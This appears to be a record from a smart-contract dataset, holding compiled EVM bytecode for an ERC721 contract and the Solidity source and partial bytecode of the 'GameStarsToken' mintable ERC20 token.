68473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612cdf8261161c565b9050612ced81600084613007565b612cf86000836127ed565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d48919061505f565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612eb6848484612a78565b612ec284848484613017565b612f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ef890614ae6565b60405180910390fd5b50505050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612fd257507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612fe25750612fe1826131ae565b5b9050919050565b613003828260405180602001604052806000815250613218565b5050565b613012838383613273565b505050565b60006130388473ffffffffffffffffffffffffffffffffffffffff16613387565b156131a1578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613061610ae2565b8786866040518563ffffffff1660e01b815260040161308394939291906149f9565b602060405180830381600087803b15801561309d57600080fd5b505af19250505080156130ce57506040513d601f19601f820116820180604052508101906130cb9190613d9c565b60015b613151573d80600081146130fe576040519150601f19603f3d011682016040523d82523d6000602084013e613103565b606091505b50600081511415613149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161314090614ae6565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506131a6565b600190505b949350505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b613222838361339a565b61322f6000848484613017565b61326e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161326590614ae6565b60405180910390fd5b505050565b61327e838383613568565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156132c1576132bc8161356d565b613300565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146132ff576132fe83826135b6565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156133435761333e81613723565b613382565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613381576133808282613866565b5b5b505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561340a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161340190614d46565b60405180910390fd5b61341381612781565b15613453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344a90614b26565b60405180910390fd5b61345f60008383613007565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134af9190614f7e565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016135c3846117fe565b6135cd919061505f565b90506000600760008481526020019081526020016000205490508181146136b2576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613737919061505f565b905060006009600084815260200190815260200160002054905060006008838154811061378d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600883815481106137d5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001819055508160096000838152602001908152602001600020819055506009600085815260200190815260200160002060009055600880548061384a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613871836117fe565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b8280546138f19061519b565b90600052602060002090601f016020900481019282613913576000855561395a565b82601f1061392c57805160ff191683800117855561395a565b8280016001018555821561395a579182015b8281111561395957825182559160200191906001019061393e565b5b509050613967919061396b565b5090565b5b8082111561398457600081600090555060010161396c565b5090565b600061399b61399684614edb565b614eaa565b9050828152602081018484840111156139b357600080fd5b6139be848285615159565b509392505050565b60006139d96139d484614f0b565b614eaa565b9050828152602081018484840111156139f157600080fd5b6139fc848285615159565b509392505050565b600081359050613a13816152e3565b92915050565b600081359050613a28816152fa565b92915050565b60008083601f840112613a4057600080fd5b8235905067ffffffffffffffff811115613a5957600080fd5b602083019150836020820283011115613a7157600080fd5b9250929050565b600081359050613a8781615311565b92915050565b600081359050613a9c81615328565b92915050565b600081359050613ab18161533f565b92915050565b600081519050613ac68161533f565b92915050565b600082601f830112613add57600080fd5b8135613aed848260208601613988565b91505092915050565b600082601f830112613b0757600080fd5b8135613b178482602086016139c6565b91505092915050565b600081359050613b2f81615356565b92915050565b600060208284031215613b4757600080fd5b6000613b5584828501613a04565b91505092915050565b600060208284031215613b7057600080fd5b6000613b7e84828501613a19565b91505092915050565b60008060408385031215613b9a57600080fd5b6000613ba885828601613a04565b9250506020613bb985828601613a04565b9150509250929050565b600080600060608486031215613bd857600080fd5b6000613be686828701613a04565b9350506020613bf786828701613a04565b9250506040613c0886828701613b20565b9150509250925092565b60008060008060808587031215613c2857600080fd5b6000613c3687828801613a04565b9450506020613c4787828801613a04565b9350506040613c5887828801613b20565b925050606085013567ffffffffffffffff811115613c7557600080fd5b613c8187828801613acc565b91505092959194509250565b60008060408385031215613ca057600080fd5b6000613cae85828601613a04565b9250506020613cbf85828601613a78565b9150509250929050565b60008060408385031215613cdc57600080fd5b6000613cea85828601613a04565b9250506020613cfb85828601613b20565b9150509250929050565b60008060208385031215613d1857600080fd5b600083013567ffffffffffffffff811115613d3257600080fd5b613d3e85828601613a2e565b92509250509250929050565b600060208284031215613d5c57600080fd5b6000613d6a84828501613a8d565b91505092915050565b600060208284031215613d8557600080fd5b6000613d9384828501613aa2565b91505092915050565b600060208284031215613dae57600080fd5b6000613dbc84828501613ab7565b91505092915050565b600060208284031215613dd757600080fd5b600082013567ffffffffffffffff811115613df157600080fd5b613dfd84828501613af6565b91505092915050565b600060208284031215613e1857600080fd5b6000613e2684828501613b20565b91505092915050565b60008060408385031215613e4257600080fd5b6000613e5085828601613b20565b9250506020613e6185828601613a04565b9150509250929050565b613e7481615123565b82525050565b613e8381615093565b82525050565b613e92816150b7565b82525050565b613ea1816150c3565b82525050565b6000613eb282614f3b565b613ebc8185614f51565b9350613ecc818560208601615168565b613ed5816152d2565b840191505092915050565b6000613eeb82614f46565b613ef58185614f6d565b9350613f05818560208601615168565b613f0e816152d2565b840191505092915050565b6000613f26602b83614f6d565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000613f8c603283614f6d565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000613ff2602683614f6d565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614058601c83614f6d565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000614098602083614f6d565b91507f45786365656473206d6178696d756d206e756d626572206f6620746f6b656e736000830152602082019050919050565b60006140d8601983614f6d565b91507f496e76616c696420457468657220616d6f756e742073656e74000000000000006000830152602082019050919050565b6000614118602a83614f6d565b91507f4578636565647320746865206d6178696d756d20616d6f756e7420746f206d6960008301527f6e74206174206f6e6365000000000000000000000000000000000000000000006020830152604082019050919050565b600061417e602683614f6d565b91507f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060008301527f73686172657300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006141e4602483614f6d565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061424a602a83614f6d565b91507f4578636565647320746865206d6178696d756d20616d6f756e7420746f206f7060008301527f656e206174206f6e6365000000000000000000000000000000000000000000006020830152604082019050919050565b60006142b0601983614f6d565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b60006142f0601283614f6d565b91507f53616c65206973206e6f742061637469766500000000000000000000000000006000830152602082019050919050565b6000614330603a83614f6d565b91507f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008301527f6563697069656e74206d617920686176652072657665727465640000000000006020830152604082019050919050565b6000614396601d83614f6d565b91507f416464726573733a20696e73756666696369656e742062616c616e63650000006000830152602082019050919050565b60006143d6602c83614f6d565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b600061443c602b83614f6d565b91507f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060008301527f647565207061796d656e740000000000000000000000000000000000000000006020830152604082019050919050565b60006144a2602983614f6d565b91507f45786365656473206d6178696d756d206e756d626572206f662072657365727660008301527f656420746f6b656e7300000000000000000000000000000000000000000000006020830152604082019050919050565b6000614508603883614f6d565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b600061456e602a83614f6d565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b60006145d4602983614f6d565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b600061463a602083614f6d565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b600061467a602c83614f6d565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b60006146e0602083614f6d565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000614720602983614f6d565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614786602f83614f6d565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b60006147ec602183614f6d565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614852600083614f62565b9150600082019050919050565b600061486c603183614f6d565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b60006148d2602c83614f6d565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b6000614938602583614f6d565b91507f43616c6c6572206973206e6f7420746865206f776e6572206f6620746869732060008301527f746f6b656e0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61499a81615119565b82525050565b60006149ab82614845565b9150819050919050565b60006020820190506149ca6000830184613e7a565b92915050565b60006040820190506149e56000830185613e6b565b6149f26020830184614991565b9392505050565b6000608082019050614a0e6000830187613e7a565b614a1b6020830186613e7a565b614a286040830185614991565b8181036060830152614a3a8184613ea7565b905095945050505050565b6000604082019050614a5a6000830185613e7a565b614a676020830184614991565b9392505050565b6000602082019050614a836000830184613e89565b92915050565b6000602082019050614a9e6000830184613e98565b92915050565b60006020820190508181036000830152614abe8184613ee0565b905092915050565b60006020820190508181036000830152614adf81613f19565b9050919050565b60006020820190508181036000830152614aff81613f7f565b9050919050565b60006020820190508181036000830152614b1f81613fe5565b9050919050565b60006020820190508181036000830152614b3f8161404b565b9050919050565b60006020820190508181036000830152614b5f8161408b565b9050919050565b60006020820190508181036000830152614b7f816140cb565b9050919050565b60006020820190508181036000830152614b9f8161410b565b9050919050565b60006020820190508181036000830152614bbf81614171565b9050919050565b60006020820190508181036000830152614bdf816141d7565b9050919050565b60006020820190508181036000830152614bff8161423d565b9050919050565b60006020820190508181036000830152614c1f816142a3565b9050919050565b60006020820190508181036000830152614c3f816142e3565b9050919050565b60006020820190508181036000830152614c5f81614323565b9050919050565b60006020820190508181036000830152614c7f81614389565b9050919050565b60006020820190508181036000830152614c9f816143c9565b9050919050565b60006020820190508181036000830152614cbf8161442f565b9050919050565b60006020820190508181036000830152614cdf81614495565b9050919050565b60006020820190508181036000830152614cff816144fb565b9050919050565b60006020820190508181036000830152614d1f81614561565b9050919050565b60006020820190508181036000830152614d3f816145c7565b9050919050565b60006020820190508181036000830152614d5f8161462d565b9050919050565b60006020820190508181036000830152614d7f8161466d565b9050919050565b60006020820190508181036000830152614d9f816146d3565b9050919050565b60006020820190508181036000830152614dbf81614713565b9050919050565b60006020820190508181036000830152614ddf81614779565b9050919050565b60006020820190508181036000830152614dff816147df565b9050919050565b60006020820190508181036000830152614e1f8161485f565b9050919050565b60006020820190508181036000830152614e3f816148c5565b9050919050565b60006020820190508181036000830152614e5f8161492b565b9050919050565b6000602082019050614e7b6000830184614991565b92915050565b6000604082019050614e966000830185614991565b614ea36020830184613e7a565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715614ed157614ed06152a3565b5b8060405250919050565b600067ffffffffffffffff821115614ef657614ef56152a3565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614f2657614f256152a3565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614f8982615119565b9150614f9483615119565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614fc957614fc8615216565b5b828201905092915050565b6000614fdf82615119565b9150614fea83615119565b925082614ffa57614ff9615245565b5b828204905092915050565b600061501082615119565b915061501b83615119565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561505457615053615216565b5b828202905092915050565b600061506a82615119565b915061507583615119565b92508282101561508857615087615216565b5b828203905092915050565b600061509e826150f9565b9050919050565b60006150b0826150f9565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061512e82615135565b9050919050565b600061514082615147565b9050919050565b6000615152826150f9565b9050919050565b82818337600083830152505050565b60005b8381101561518657808201518184015260208101905061516b565b83811115615195576000848401525b50505050565b600060028204905060018216806151b357607f821691505b602082108114156151c7576151c6615274565b5b50919050565b60006151d882615119565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561520b5761520a615216565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b6152ec81615093565b81146152f757600080fd5b50565b615303816150a5565b811461530e57600080fd5b50565b61531a816150b7565b811461532557600080fd5b50565b615331816150c3565b811461533c57600080fd5b50565b615348816150cd565b811461535357600080fd5b50565b61535f81615119565b811461536a57600080fd5b5056fea2646970667358221220565e921e61fc7379ff64624151007cc9781684fa1109e030f38bb976e9a4fcdc64736f6c63430008000033
[ 7, 20, 5 ]
0xf272da7bdcced511a9c34b98fcfe7adfbcf330f7
pragma solidity ^0.4.18; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract GameStarsToken is StandardToken, Ownable { string public constant name = "GameStars"; string public constant symbol = "STAR"; uint8 public constant decimals = 18; bool public mintingFinished = false; mapping (address => bool) public mintAgents; function mint(address _to, uint256 _amount) public onlyMintAgent canMint returns(bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function setMintAgent(address _address, bool _state) onlyOwner canMint public { mintAgents[_address] = _state; MintingAgentChanged(_address, _state); } modifier canMint() { require(!mintingFinished); _; } modifier onlyMintAgent() { require(mintAgents[msg.sender] == true); _; } event Mint(address indexed to, uint256 amount); event MintingAgentChanged(address addr, bool state); event MintFinished(); }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610125578063095ea7b3146101b557806318160ddd1461021a57806323b872dd14610245578063313ce567146102ca57806340c10f19146102fb57806342c1867b1461036057806343214675146103bb578063661884631461040a57806370a082311461046f5780638da5cb5b146104c657806395d89b411461051d578063a9059cbb146105ad578063d73dd62314610612578063dd62ed3e14610677578063f2fde38b146106ee575b600080fd5b34801561010257600080fd5b5061010b610731565b604051808215151515815260200191505060405180910390f35b34801561013157600080fd5b5061013a610744565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017a57808201518184015260208101905061015f565b50505050905090810190601f1680156101a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c157600080fd5b50610200600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061077d565b604051808215151515815260200191505060405180910390f35b34801561022657600080fd5b5061022f61086f565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b604051808215151515815260200191505060405180910390f35b3480156102d657600080fd5b506102df610c34565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030757600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c39565b604051808215151515815260200191505060405180910390f35b34801561036c57600080fd5b506103a1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e24565b604051808215151515815260200191505060405180910390f35b3480156103c757600080fd5b50610408600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e44565b005b34801561041657600080fd5b50610455600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f86565b604051808215151515815260200191505060405180910390f35b34801561047b57600080fd5b506104b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611217565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b506104db611260565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561052957600080fd5b50610532611286565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610572578082015181840152602081019050610557565b50505050905090810190601f16801561059f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105b957600080fd5b506105f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112bf565b604051808215151515815260200191505060405180910390f35b34801561061e57600080fd5b5061065d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114e3565b604051808215151515815260200191505060405180910390f35b34801561068357600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116df565b6040518082815260200191505060405180910390f35b3480156106fa57600080fd5b5061072f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611766565b005b600360149054906101000a900460ff1681565b6040805190810160405280600981526020017f47616d655374617273000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108b257600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561090057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098b57600080fd5b6109dd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118be90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118be90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b600060011515600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610c9a57600080fd5b600360149054906101000a900460ff16151515610cb657600080fd5b610ccb826000546118d790919063ffffffff16565b600081905550610d2382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118d790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea057600080fd5b600360149054906101000a900460ff16151515610ebc57600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4b0adf6c802794c7dde28a08a4e07131abcff3bf9603cd71f14f90bec7865efa8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600080600260003373ffffffffffff